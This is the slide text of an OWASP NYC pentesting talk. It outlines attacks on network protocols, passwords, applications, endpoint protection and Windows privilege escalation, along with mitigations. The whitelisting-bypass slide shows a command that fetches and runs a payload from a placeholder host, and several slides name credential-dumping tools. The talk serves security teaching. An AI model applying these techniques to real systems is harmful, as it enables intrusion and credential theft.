Attack All the Layers: What's Working during Pentests (OWASP NYC)

1. Attack All the Layers: What’s Working During Pen Tests Scott Sutherland and Karl Fosaaen

2. Introductions • Scott Sutherland ‒ Principal Security Consultant @ NetSPI ‒ Twitter: @_nullbind • Karl Fosaaen ‒ Senior Security Consultant @ NetSPI ‒ Twitter: @kfosaaen We specialize in both things and stuff!

3. Overview • Why do Companies Pen Test? • Attacking Protocols • Attacking Passwords • Attacking Applications • Bypassing End Point Protection • Windows Escalation • Conclusions

4. Why do companies pen test? • Compliance requirements • Evaluate risks associated with an acquisition or partnership • Validate preventative controls • Validate detective controls • Prioritize internal security initiatives • Proactively prevent breaches

5. Overview • Attacking Protocols • Attacking Passwords • Attacking Applications • Bypassing End Point Protection • Windows Escalation

6. Attacking protocols • ARP: Address Resolution Protocol • NBNS: NetBIOS Name Service • SMB: Server Message Block • PXE: Preboot Execution Environment • DTP: Dynamic Trunking Protocol

7. Attacking protocols: ARP Address Resolution Protocol

8. Attacking protocols: ARP • General ‒MAC to IP association ‒Layer 2 • Conditions ‒Independent of user action ‒Broadcast network • Attacks ‒MITM Monitoring ‒MITM Injection ‒DOS

9. Attacking protocols: ARP

10. Attacking protocols: ARP • Common mitigating controls: ‒ Dynamic ARP Inspection ‒ Port Security ‒ Static Routes (not recommended)

11. Attacking protocols: NBNS / LLMNR NetBIOS Name Service

12. Attacking protocols: NBNS • General ‒ IP to hostname association ‒ Layer 5 / 7 • Constraints ‒ Dependent on user action ‒ Broadcast Network ‒ Windows Only • Attacks ‒ MITM Monitoring ‒ MITM Injection ‒ DOS

13. Attacking protocols: NBNS

16. Attacking protocols: NBNS • Common mitigating controls: ‒ Create a WPAD (Web Proxy Auto-Discovery) server entry in DNS ‒ Disable NBNS (recommended) • Might cause issues with legacy apps ‒ Disable insecure authentication to help • limit impact of exposed hashes ‒ Enable packet signing to help prevent • SMB Relay attacks

17. Attacking protocols: SMB Server Message Block

18. Attacking protocols: SMB • General ‒ SMB is the come back kid! ‒ Layer 7 • Constraints ‒ Dependent on user action ‒ Any routable network ‒ No connecting back to originating host • Attacks ‒ Command execution ‒ Shells..aaand shells

19. Attacking protocols: SMB

20. Attacking protocols: SMB • Historically, SMB Relay has been used to: ‒ Execute arbitrary commands ‒ Obtain shells • Lately the community has been developing tools for doing things like: ‒ LDAP queries ‒ SQL queries ‒ Exchange services ‒ Mounting file systems

21. Attacking protocols: SMB • Common mitigating controls: ‒ Enable packet signing to help prevent SMB Relay attacks ‒ Apply really old patches like if you missed out on the last decade…

22. Attacking protocols: PXE Preboot eXecution Environment

23. Attacking protocols: PXE • General ‒ DHCP • Constraints ‒ Broadcast domain • Attacks ‒ Command execution ‒ Access to file system/images

24. Attacking protocols: PXE • Common mitigating controls: ‒ Isolate networks ‒ Add device validation

25. Attacking protocols: DTP Dynamic Trunking Protocol

26. Attacking protocols: DTP • General ‒ 802.1Q encapsulation is in use ‒ Layer 2 • Constraints ‒ Independent of user action ‒ Trunking is set to enabled • or auto on switch port • Attacks ‒ Monitor network traffic for all VLANs, because all VLANs are • allowed on a trunk by default • *Full VLAN hopping

27. Attacking protocols: DTP

31. Attacking protocols: DTP • Common mitigating controls: ‒ Use dedicated VLAN ID for all trunking ports ‒ Disable all unused ports and place them on a non-routable VLAN ‒ Configure all user ports as access ports to prevent trunk negotiation ‒ Configure frames with two 802.1Q headers ‒ Configure strong VACLs

33. Attacking passwords • Hashes and Cracking (Offline) • Dictionary Attacks (Online) • Dump in Cleartext!

34. Attacking Passwords Tool Function Year Pass the Hash Passing Hashes 1997 Rainbow Tables Password Cracking 2000s SMB Relay Relaying Captured Hashes 2001 John the Ripper Password Cracking 2001 NetNTLM.pl Cracking Network Hashes 2007 PTH Toolkit Pass all the Hashes 2008 Hashcat CPU and GPU Cracking 2010 WCE and Mimikatz Cleartext Windows Creds 2012

35. Attacking Passwords: Hashes • What are hashes? ‒ A non-reversible way of storing passwords ‒ Operating systems and applications ‒ Lots of types • LM/NTLM • Network and Local • MD5 • SHA • descrypt

36. Attacking Passwords: Hashes • How do we get hashes? ‒ Cain and Abel ‒ fgdump ‒ Metasploit ‒ Mimikatz ‒ Databases ‒ Config files

37. Attacking Passwords: Cracking • Cracking Hashes ‒ Rainbow Tables ‒ John the Ripper ‒ oclHashcat ‒ CPU versus GPU

38. Attacking Passwords: Cracking 0 100 200 300 400 500 600 Minutes for Six Character Brute Force CPU GPU

39. Attacking Passwords: CrackingGPUCPU

40. Attacking Passwords: Passing Hashes • Passing Hashes ‒ Metasploit ‒ psexec ‒ winexec ‒ PTH toolkit

41. Attacking Passwords: Dictionary • Online Vs. Offline Attacks • Dictionary Attacks ‒ Enumerate users • Null SMB logins, RPC, *SID BF, SNMP, LDAP, SharePoint, etc. ‒ Attack! • Are users getting smarter? ‒ Sort of… • “Summer2014” meets password • complexity requirements

42. Attacking Passwords: Cleartext • Common application configs • Reversible Formats ‒ Find in files ‒ Groups.xml ‒ Unattend.xml ‒ Registry • WCE • Mimikatz

44. Attacking Applications: Common • Default and weak passwords • SQL injection • RFI/web shells • Web directory traversals • UNC path injection + SMB relay • Critical missing patches

45. Attacking Applications: Breakouts • Obtain a common dialog box • Bypass folder path and file type restrictions • Bypass file execution restrictions • Bypass file black/white lists • Access to native consoles and management tools • Downloading and use third party applications

47. Bypassing EPP: Anti-virus • PowerShell code Injection • Execute off network share • Clone resource tables • Modify import tables • Pack files

48. Bypassing EPP: App White List • Execution via approved apps ‒ Powershell Code Injection ‒ Rundll32 mydll,DLLMain@12 ‒ IEExec http://x.x.x.x:8080/bypass.exe • Exceptions ‒ File name ‒ Publisher ‒ Directory • Excessive privileges ‒ Services and policy

50. Windows Escalation: Overview • Privilege Escalation Goals • Local Privilege Escalation • Domain Privilege Escalation

51. Windows Escalation: Goals • Local Escalation Goals ‒ Find clear text or reversible credentials with local administrative privileges ‒ Get application to run commands as Administrator or LocalSystem • Domain Escalation Goals ‒ Find Domain Admins ‒ Impersonate Domain Admins

52. Windows Escalation: Local • Local Escalation ‒ *Clear text credentials in files, registry, over network ‒ Insecure service paths ‒ DLL preloading ‒ DLL and exe replacement ‒ Binary planting in auto-run locations (reg and file system) ‒ Modifying schedule tasks ‒ *Local and remote exploits ‒ Leverage local application like IIS, SQL Server etc ‒ *UNC path injection + SMB Relay / Capture + crack

53. Windows Escalation: Domain • Domain Escalation – Find DAs ‒ Check locally! (Processes, Tokens, Cachedump) ‒ Review active sessions – netsess (veil) ‒ Review remote processes - tasklist ‒ Service Principal Names (SPN) – get-spn ‒ Scanning Remote Systems for NetBIOS Information - nbtscan ‒ Pass the hash to other systems ‒ PowerShell shell spraying ‒ WINRM/WINRS shell spraying ‒ Psexec shell spraying

54. Windows Escalation: Domain • Domain Escalation – Impersonate DAs ‒ Dump passwords from memory with Mimikatz ‒ Migrate into the Domain Admin’s process ‒ Steal Domain Admins delegation tokens with Incognito ‒ Dump cached domain admin hashes with cachedump ‒ Relatively new techniques • PTH using Kerberos ticket

55. Conclusions • Most Networks ‒ Kind of broken • Most Protocols ‒ Kind of broken • Most Applications ‒ Kind of broken All can kind of be fixed

56. Attack all the layers! • Any questions?

57. Attack all the layers! • Scott Sutherland ‒ Principal Security Consultant ‒ Twitter: @_nullbind • Karl Fosaaen ‒ Senior Security Consultant ‒ Twitter: @kfosaaen

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